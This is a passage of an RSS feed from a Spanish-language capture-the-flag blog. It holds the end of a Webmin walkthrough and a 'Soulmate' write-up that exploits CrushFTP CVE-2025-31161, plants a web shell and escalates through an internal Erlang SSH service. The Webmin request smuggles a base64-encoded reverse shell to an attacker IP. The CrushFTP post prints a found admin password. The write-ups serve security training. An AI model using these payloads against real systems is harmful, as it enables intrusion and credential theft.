&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cookie&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; redirect=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; testing=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; sid=af122636c747c504f006f91e9b600aae
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User-Agent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Mozilla/&lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt; (X11; Linux x86_64; rv&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;) Gecko/&lt;span style="color:#ae81ff"&gt;20100101&lt;/span&gt; Firefox/&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Language&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; en-US,en;q=&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Encoding&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Progressive-Url: https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From: package-updates
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From-Tab: webmin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;289&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Origin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Referer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xnavigation=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Priority&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; u=&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Te&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; trailers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;u=acl&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fapt&amp;amp;u=+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Rooted.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e4-b86a-c509d9d64746.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Soulmate (Easy)</title><link>https://synacklabs.github.io/posts/soulmate/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/soulmate/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80a2-aa42-feffb3dc13bd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con &lt;strong&gt;CrushFTP&lt;/strong&gt;. Se utiliza un exploit público de la &lt;strong&gt;CVE-2025-31161&lt;/strong&gt; para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="puerto-80-primera-observación"&gt;Puerto 80: primera observación&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802f-85d2-d141ac8cc663.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se trata de una app de citas. La funcionalidad de subida de fotos sugiere una posible vulnerabilidad de &lt;strong&gt;file upload&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;El endpoint donde se guardan/gestionan las imágenes:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d0-90a4-e00d1848b68d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La idea es encontrar una forma de subir contenido malicioso que termine ejecutándose en el servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8083-9fb4-ce8d528f3fca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-802a-aa9e-c5df7182e0db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se observa que el endpoint cambia los &lt;strong&gt;últimos 3 dígitos&lt;/strong&gt;, lo que parece relevante para activar o localizar la shell.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-subdominios-y-vhosts"&gt;Enumeración: subdominios y vhosts&lt;/h3&gt;
&lt;p&gt;Se realizan descubrimientos de subdominios y vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-809f-a0b8-f567148af65c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un panel y se obtiene información del servicio: &lt;strong&gt;CrushFTP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80d7-b7a1-db55ee0a0d01.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploit utilizado:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py"&gt;https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funciona-técnicamente-cve-2025-31161"&gt;¿Cómo funciona técnicamente? (CVE-2025-31161)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Proceso de autenticación (race condition):&lt;/strong&gt; el servidor &lt;strong&gt;CrushFTP&lt;/strong&gt; emplea el método &lt;strong&gt;AWS4-HMAC-SHA256&lt;/strong&gt; (compatible S3) para autorizar peticiones.&lt;/li&gt;
&lt;li&gt;Al recibir una autenticación, primero verifica la existencia del usuario (p. ej. &lt;code&gt;login_user_pass()&lt;/code&gt;) &lt;strong&gt;sin exigir contraseña&lt;/strong&gt;, lo que durante un lapso breve deja la sesión en un estado “válido”.&lt;/li&gt;
&lt;li&gt;Si durante ese lapso se envía un header &lt;code&gt;Authorization&lt;/code&gt; malformado (por ejemplo, con solo el nombre de usuario y una &lt;code&gt;/&lt;/code&gt;, como &lt;code&gt;AWS4-HMAC-SHA256 Credential=crushadmin/&lt;/code&gt;), se puede provocar un error que evita que la sesión se cierre y mantiene la autenticación sin validación.&lt;/li&gt;
&lt;li&gt;Con ello, se puede actuar como un usuario conocido (especialmente &lt;code&gt;crushadmin&lt;/code&gt;, por ser cuenta por defecto) y obtener control del servidor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8052-8069-ce581a2a79bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a074e76e-898f-407e-820a-26b826533e60.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="acceso-al-panel"&gt;Acceso al panel&lt;/h3&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-807a-861b-e9af132b8e2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Enumeración de usuarios disponibles:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/66de0104-b2e2-41fc-8f4a-2cc5a45f87b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="web-shell-a-través-de-la-foto-de-perfil"&gt;Web shell a través de la foto de perfil&lt;/h3&gt;
&lt;p&gt;Desde un usuario con permisos administrativos, se renombra la foto de perfil para intentar obtener una &lt;strong&gt;web shell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8021-83b3-fc9cd1af8054.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80c1-8c15-c8cbd6bfdbbc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Comprobación:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8008-9d81-e785c855f9b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="shell-y-credenciales-encontradas"&gt;Shell y credenciales encontradas&lt;/h3&gt;
&lt;p&gt;Se obtiene una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8053-89fd-d9a5e8bb1ab6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Revisión de configuración:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808e-80f7-dbff0e913332.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Credencial observada:&lt;/p&gt;
&lt;p&gt;Crush4dmin990&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-80e6-847d-c0d4b001cc4c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="vía-alternativa-acceso-como-otro-usuario"&gt;Vía alternativa: acceso como otro usuario&lt;/h3&gt;
&lt;p&gt;Otra manera de acceder: se cambia la contraseña de &lt;strong&gt;ben&lt;/strong&gt; y se entra como ese usuario para subir una shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-808f-b137-f4341f3844da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-servicio-interno-ssh-erlang-529"&gt;Escalada: servicio interno SSH (Erlang 5.2.9)&lt;/h3&gt;
&lt;p&gt;Se detecta un servicio SSH interno en el &lt;strong&gt;puerto 2222&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8091-96f6-d087e66bb927.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/TeneBrae93/CVE-2025-3243/blob/main/CVE-2025-3243.py"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se modifica el exploit, ya que &lt;code&gt;nc&lt;/code&gt; no funciona bien en este contexto.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8025-be39-e812d813bdff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ejecución / resultados:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8064-bff9-d9931d16570d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e9888fa-f353-8081-bbe6-f4235c5c536b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>